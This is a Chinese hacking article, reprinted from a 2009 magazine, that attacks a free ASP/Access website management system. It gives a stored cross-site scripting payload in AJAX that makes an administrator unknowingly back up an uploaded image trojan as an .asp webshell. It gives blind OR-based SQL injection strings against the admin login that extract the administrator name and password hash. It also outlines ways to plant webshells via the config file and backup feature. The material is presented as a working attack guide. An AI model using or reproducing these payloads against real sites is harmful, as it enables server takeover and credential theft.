题目:利用or构造SQL巧妙注射-分析睿智管理系统安全
作者:By L4nk0r[l4nkor.org]
来源:L4nk0r'S Blog
此文章已发表在《黑客手册》2009年第10期杂志上,后经作者发布在博客上,如转载请务必保留此信息!
L4nk0r:为方便大家阅读,最后提供文件打包下载
前言:
最近上cnzz下载了一套网站管理系统,在源码首页发现它,心想cnzz都推荐应该安全性相当不错了.官方下载最新版本本地搭建IIS测试发现简洁易用,整体上安全做得不错.由于是免费版的,可能官方有点放水.不过这里不影响我们的分析,这里讨论两个方面:跨站的利用,SQL注射.还是一句话:重在思路.
一.隐藏的数据库
分析代码经常要用到数据库(我分析的是Access版本的) ,习惯性的打开数据库,惊奇的发现只有一个notdown表,如图01:
可是再仔细查看代码发现不应该只有这张表的,于是就想是不是隐藏起来了?第一次看到这种情况,于是就查看了下Access帮助说明,在其中发现原来有还存在两种属性的数据表,即系统对象和隐藏对象.下面做一个小知识补充:
由于Access默认是不显示系统对象和隐藏对象的.所以如果一个表中存在隐藏对象或者系统对象那么就无法看到该表了. 简单说下隐藏方法,设计好表后右击表选择"属性"->"隐藏"属性打勾,刷新下就看不到了,这样就是隐藏对象了,默认是看不到的.至于系统对象,我们可以修改表的前缀为 usys,这样就可以把表改成一个系统对象.这两种方法都可以.
既然可以隐藏当然也可以恢复显示了, 按如下操作:“工具”菜单->“选项”命令->“视图”选项卡->选中“显示”一栏下的“系统对象”复选框或者"隐藏对象"复选框,并按下“确定”按钮,就可以重新显示所有表了.如图02
Ok了,数据就可以和正常的一样了.
二.跨站的深入利用鸡肋
首先看看漏洞文件/include/PlS.asp,查看代码发现是一个评论显示,在多个文件被包含了,代码如下:
IF LePl<>"" then
Dim Author,Content,mycode
Author=Trim(Request.Form("Author"))// 简单的过滤空格
Content=Trim(Request.Form("Content")) //同上
mycode = trim(request.form("code"))
if Author="" or Content="" then
Call Alert ("请填写完整再提交","-1")
end if
if mycode<>Session("getcode") then
Call Alert ("您输入验证码错误","-1")
end if
set rs = server.CreateObject ("adodb.recordset")
sql="select * from zhi_rui_E_Pl"
rs.open sql,conn,1,3
rs.addnew
rs("cli")=Request.Form("cli")
rs("Ioid")=request.Form("Inid")
rs("Author")=Author
rs("Content")=Content
------------------------省略部分代码-------------------------------
%>
显然没有任何过滤,直接写入数据库,跨站产生了.由于数据库是mdb格式的,所有插马也没用.这里就想到了是否可以备份数据库?进入后台看到数据库备份,查看如图03:
看到了没,据库路径和备份文件名都不能修改,有些朋友可能就到这里停止,其实不然,还可以继续,经验告诉我,他是将该输入框写成hidden隐藏域了,查看文件/admin/Admin_Data.asp代码如下:
看到这行type=hidden,猜测没错.那也就是说同样可以备份任意文件了.所有后台拿shell比较简单了.(插马备份数据库比较麻烦,要绕过<%loop<%,在上期我给大家讲过绕过<%loop<%的方法)那至于跨站如何利用?没错,配合ajax提交给后台管理查看评论就会自动备份数据库了,但是这里数据库有防下载表导致利用起来有麻烦,另外普通用户没有办法上传任何文件,不然可以通过上传一个图片格式的木马,然后通过跨站利用ajax自动备份文件.这个跨站在ACCess中无法利用,在MSSQL版本中就可以思考了.作为技术讨论,我还是给出ajax代码,假设我可以上传一个图片格式的木马upload/2009082150598817.jpg,现在我通过跨站备份这个文件成asp文件,经过分析写出代码如下(保存下面代码为l4nk0r.js上传到你网站):
if (window.XMLHttpRequest)
{
xmlhttp = new XMLHttpRequest();
} else if (window.ActiveXObject)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
try
{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e)
{
}
}
}
function backup()
{
var postStr = "DBpath=upload/2009082150598817.jpg&bkfolder=../DataBase/bak/&bkDBname=l4nk0r.asp";
xmlhttp.open("POST","/admin/Admin_data.asp?action=RestoreData&act=Restore",true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(postStr);
}
Backup();
然后在你要提交的地方提交
这样当管理员查看这条评论就会触发了.不过这个漏洞在这个系统中是鸡肋,只是借这个机会和大家分享这个思路.下面进入主角讨论
三.利用or构造SQL继续注射
漏洞文件:admin/admin_cklogin.asp,后台登录验证文件,发现注入漏洞,代码如下:
LoginPassword=Md5(request.form("LoginPassword"))
mycode = trim(request.form("code"))
set rs = server.createobject("adodb.recordset")
‘ 很明显的注入漏洞,变量loginname没有经过过滤直接执行sql语句
‘注意loginname是用2个单引号括起来的.要注意前后闭合问题.
sql="select * from zhi_rui_E_manage where AdminName='"&LoginName&"'"
rs.open sql,conn,1,3
if rs.eof then
response.write "<script language=javascript> alert('管理员名称不正确,请重新输入。');location.replace('Admin_Login.asp');</script>"
response.end
else
AdminName=rs("AdminName")
Password=rs("Password")
AdminPurview=rs("AdminPurview")
Working=rs("Working")
UserName=rs("UserName")
end if
if LoginPassword<>Password then
response.write "<script language=javascript> alert('管理员密码不正确,请重新输入。');location.replace('Admin_Login.asp');</script>"
response.end
end if
好了,注入原理就不废话直接进入利用.查看数据库管理员表中默认只有一个管理员,而且这个管理员用户名可以修改.如果默认管理员没有修改可以利用and语句来注入,这种注入语句也比较简单,这里不讨论.考虑到通用性如果修改了?前台没有一个地方可以找个管理员用户名的痕迹.好了…那么我们就谈谈如何利用or来注入(非万能密码,是不行的.).
先说下注入结果有3种:
1. 提示”管理员名称不正确,请重新输入”,说明注入语句没正确构造或者正确构造了但sql不成立;
2. 提示” 管理员密码不正确,请重新输入”,说明注入语句成立;
3. 直接跳到Admin_Cklogin.asp显示空白页面,表示你的密码也正确了.这种情况基本不可能,不然也不用这么费劲了.
分析下这sql语句
变量名通过2个单引号包含,必须注意闭合,只要SQL成立就会正确注入,那么我们利用or注入就会想了如何才能同时满足这些条件?没错,让前面的为假,or后为真即我们的注入语句,最后一个or是一个闭合符号且为假,总体逻辑为
假 or 真 or 假 ->结果为真,提示密码错误
假 or 假 or 假 ->结果为假,提示用户名错误
ok原理思路明白了,可以构造出如下SQL语句.
(2) 1' or (select asc(mid(adminname,1,1)) from zhi_rui_E_manage where id=1)>96 or '1'='2(判断id=1的用户名的首个字母的ASCII码是否为a,依次换位判断就可以得到管理员用户名)
(3) 1' or (select asc(mid(password,1,1)) from zhi_rui_E_manage where id=1)>96 or '1'='1
(判断id=1管理员密码的MD5散列的首个字符的ASCII码是否大于96,同理依次判断可以得到32位MD5散列)
如果不成功返回如图05
[localfile=6]
如此耐心的手动猜解就得到管理员名称和密码了.至于后台拿shell,方法很多,我提两个比较简单的方法:
1. 网站配置文件插马
在配置文件随便一个信息中填入
然后直接访问/include/config.asp文件就是一句话木马地址了.
2. 上传一张图片格式木马,并且上传利用本地备份得到webshell
当然还有很多好的思路大家可以提供测试方法.这里不在赘述.
文章结尾:
文章到此结束,希望您有所得.有任何意见或者技术讨论欢迎交流,我论坛ID:L4nk0r